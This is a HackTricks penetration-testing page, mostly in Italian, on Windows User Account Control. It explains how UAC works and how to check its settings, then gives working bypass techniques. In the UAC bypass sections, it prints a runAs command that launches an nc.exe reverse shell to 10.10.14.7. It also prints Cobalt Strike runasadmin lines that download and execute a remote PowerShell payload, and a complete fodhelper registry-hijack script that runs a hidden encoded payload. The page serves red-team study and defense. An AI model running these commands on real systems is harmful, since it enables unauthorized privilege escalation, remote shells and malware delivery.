UAC - User Account Control

Reading time: 15 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

UAC

User Account Control (UAC) è una funzionalità che abilita un prompt di consenso per attività elevate. Le applicazioni hanno diversi livelli di integrity, e un programma con un livello elevato può eseguire operazioni che potrebbero potenzialmente compromettere il sistema. Quando UAC è abilitato, le applicazioni e i task vengono sempre eseguiti nel contesto di sicurezza di un account non amministratore a meno che un amministratore non autorizzi esplicitamente tali applicazioni/task ad avere accesso di livello amministratore per l'esecuzione. È una funzionalità di comodità che protegge gli amministratori da modifiche involontarie ma non è considerata un confine di sicurezza.

Per maggiori informazioni sui livelli di integrità:

Integrity Levels

Quando UAC è attivo, un utente amministratore riceve 2 token: uno come utente standard, per compiere azioni ordinarie a livello normale, e uno con i privilegi di amministratore.

Questa page descrive in dettaglio come funziona UAC e include il processo di logon, l'esperienza utente e l'architettura di UAC. Gli amministratori possono utilizzare criteri di sicurezza per configurare come UAC funzioni specificamente per la loro organizzazione a livello locale (usando secpol.msc), o configurato e distribuito tramite Group Policy Objects (GPO) in un ambiente di dominio Active Directory. Le varie impostazioni sono discusse in dettaglio here. Ci sono 10 impostazioni di Group Policy che possono essere configurate per UAC. La tabella seguente fornisce ulteriori dettagli:

Teoria del bypass UAC

Alcuni programmi sono autoelevated automatically se l'utente appartiene al gruppo amministratori. Questi binari hanno nei loro Manifests l'opzione autoElevate con valore True. Il binario deve inoltre essere signed by Microsoft.

Molti processi auto-elevanti espongono funzionalità via COM objects or RPC servers, che possono essere invocate da processi in esecuzione con integrità medio (privilegi a livello utente regolare). Nota che COM (Component Object Model) e RPC (Remote Procedure Call) sono metodi che i programmi Windows utilizzano per comunicare ed eseguire funzioni tra processi differenti. Per esempio, IFileOperation COM object è progettato per gestire operazioni sui file (copia, cancellazione, spostamento) e può elevare automaticamente i privilegi senza un prompt.

Nota che potrebbero essere effettuati alcuni controlli, come verificare se il processo è stato eseguito dalla System32 directory, che può essere bypassato ad esempio injecting into explorer.exe o un altro eseguibile situato in System32.

Un altro modo per bypassare questi controlli è modificare la PEB. Ogni processo in Windows ha una Process Environment Block (PEB), che include dati importanti sul processo, come il percorso dell'eseguibile. Modificando la PEB, un attaccante può falsificare (spoof) la posizione del proprio processo maligno, facendolo apparire come eseguito da una directory attendibile (come system32). Queste informazioni falsate ingannano il COM object inducendolo ad auto-elevare i privilegi senza chiedere all'utente.

Quindi, per bypassare la UAC (elevare da livello medio di integrità a livello elevato) alcuni attaccanti usano questo tipo di binari per eseguire codice arbitrario poiché verrà eseguito da un processo con High level integrity.

Puoi controllare il Manifest di un binario usando lo strumento sigcheck.exe di Sysinternals. (sigcheck.exe -m <file>) E puoi vedere il livello di integrità dei processi usando Process Explorer o Process Monitor (di Sysinternals).

Verificare UAC

Per confermare se UAC è abilitato, esegui:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Se è 1 allora UAC è attivato, se è 0 o non esiste, allora UAC è disattivato.

Quindi, verifica quale livello è configurato:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • If 0 then, UAC won't prompt (like disabled)
  • If 1 the admin is asked for username and password to execute the binary with high rights (on Secure Desktop)
  • If 2 (Always notify me) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
  • If 3 like 1 but not necessary on Secure Desktop
  • If 4 like 2 but not necessary on Secure Desktop
  • if 5(default) it will ask the administrator to confirm to run non Windows binaries with high privileges

Then, you have to take a look at the value of LocalAccountTokenFilterPolicy
If the value is 0, then, only the RID 500 user (built-in Administrator) is able to perform admin tasks without UAC, and if its 1, all accounts inside "Administrators" group can do them.

And, finally take a look at the value of the key FilterAdministratorToken
If 0(default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.

  • If EnableLUA=0 or doesn't exist, no UAC for anyone
  • If EnableLua=1 and LocalAccountTokenFilterPolicy=1 , No UAC for anyone
  • If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=0, No UAC for RID 500 (Built-in Administrator)
  • If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=1, UAC for everyone

All this information can be gathered using the metasploit module: post/windows/gather/win_privs

Puoi anche controllare i gruppi del tuo utente e ottenere il livello di integrità:

net user %username%
whoami /groups | findstr Level

UAC bypass

tip

Nota che se hai accesso grafico alla vittima, il bypass di UAC è semplice poiché puoi semplicemente cliccare su "Yes" quando appare il prompt UAC

Il bypass di UAC è necessario nella seguente situazione: UAC è attivato, il tuo processo è in un contesto di medium integrity, e il tuo utente appartiene al gruppo Administrators.

È importante menzionare che è molto più difficile bypassare UAC se è impostato al livello di sicurezza più alto (Always) rispetto a qualsiasi altro livello (Default).

UAC disabilitato

Se UAC è già disabilitato (ConsentPromptBehaviorAdmin è 0) puoi execute a reverse shell with admin privileges (high integrity level) usando qualcosa come:

bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC bypass with token duplication

Molto semplice UAC "bypass" (accesso completo al file system)

Se hai una shell con un utente che fa parte del gruppo Administrators puoi mount the C$ shared via SMB (file system) local in a new disk e avrai accesso a tutto il file system (anche la cartella home di Administrator).

warning

Sembra che questo trucco non funzioni più

bash
net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC bypass with cobalt strike

Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al suo livello di sicurezza massimo.

bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire e Metasploit hanno anche diversi moduli per bypass della UAC.

KRBUACBypass

Documentazione e tool in https://github.com/wh0amitz/KRBUACBypass

UAC bypass exploits

UACME che è una compilazione di diversi UAC bypass exploits. Nota che dovrai compilare UACME usando visual studio o msbuild. La compilazione creerà diversi eseguibili (come Source\Akagi\outout\x64\Debug\Akagi.exe) , dovrai sapere quale ti serve.
Dovresti fare attenzione perché alcuni bypass faranno apparire dei prompt in altri programmi che avviseranno l'utente che qualcosa sta succedendo.

UACME riporta la build da cui ogni tecnica ha iniziato a funzionare. Puoi cercare una tecnica che interessi le tue versioni:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Also, using this page you get the Windows release 1607 from the build versions.

UAC Bypass – fodhelper.exe (Registry hijack)

Il binario affidabile fodhelper.exe viene elevato automaticamente su Windows moderni. Quando viene avviato, interroga il percorso del registro per utente qui sotto senza validare il verbo DelegateExecute. Posizionare un comando in quel percorso permette a un processo con Medium Integrity (l'utente è membro del gruppo Administrators) di avviare un processo con High Integrity senza visualizzare il prompt UAC.

Registry path queried by fodhelper:

HKCU\Software\Classes\ms-settings\Shell\Open\command

Passaggi PowerShell (imposta il tuo payload, poi trigger):

powershell
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"

# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null

# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force

# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"

# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force

Note:

  • Funziona quando l'utente corrente è membro degli Administrators e il livello UAC è default/lenient (non Always Notify con restrizioni extra).
  • Usa il percorso sysnative per avviare una PowerShell a 64-bit da un processo a 32-bit su Windows a 64-bit.
  • Il payload può essere qualsiasi comando (PowerShell, cmd, o un percorso EXE). Evitare UI che richiedono prompt per mantenere lo stealth.

Altri bypass UAC

All the techniques used here to bypass AUC require a full interactive shell with the victim (a common nc.exe shell is not enough).

Puoi ottenerla usando una sessione meterpreter. Migra in un process che ha il valore Session uguale a 1:

(explorer.exe dovrebbe funzionare)

Bypass UAC con GUI

Se hai accesso a una GUI puoi semplicemente accettare il prompt UAC quando compare, non hai veramente bisogno di un bypass. Quindi, ottenere accesso a una GUI ti permetterà di bypassare il UAC.

Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente via RDP) ci sono alcuni tool che verranno eseguiti come administrator da cui potresti eseguire ad esempio un cmd come admin direttamente senza essere nuovamente richiesto da UAC, come https://github.com/oski02/UAC-GUI-Bypass-appverif. Questo potrebbe essere un po' più stealthy.

Bypass UAC rumoroso (brute-force)

Se non ti importa di essere rumoroso puoi sempre eseguire qualcosa come https://github.com/Chainski/ForceAdmin che chiede di elevare i permessi finché l'utente non li accetta.

Il tuo bypass - metodologia di base per bypass UAC

Se dai un'occhiata a UACME noterai che la maggior parte dei bypass UAC sfrutta una vulnerabilità di Dll Hijacking (principalmente scrivendo la dll malevola in C:\Windows\System32). Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking.

  1. Trova un binary che autoelevate (verifica che quando viene eseguito funzioni a livello di integrità elevato).
  2. Con procmon trova eventi "NAME NOT FOUND" che possono essere vulnerabili a DLL Hijacking.
  3. Probabilmente dovrai scrivere la DLL all'interno di alcuni percorsi protetti (come C:\Windows\System32) dove non hai permessi di scrittura. Puoi bypassare questo usando:
    1. wusa.exe: Windows 7,8 e 8.1. Permette di estrarre il contenuto di un file CAB all'interno di percorsi protetti (perché questo tool viene eseguito a high integrity level).
    2. IFileOperation: Windows 10.
  4. Prepara uno script per copiare la tua DLL nel percorso protetto ed eseguire il binary vulnerabile e autoelevated.

Un'altra tecnica di bypass UAC

Consiste nel verificare se un autoElevated binary tenta di leggere dal registry il nome/percorso di un binary o comando da eseguire (questo è più interessante se il binary cerca queste informazioni dentro la HKCU).

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks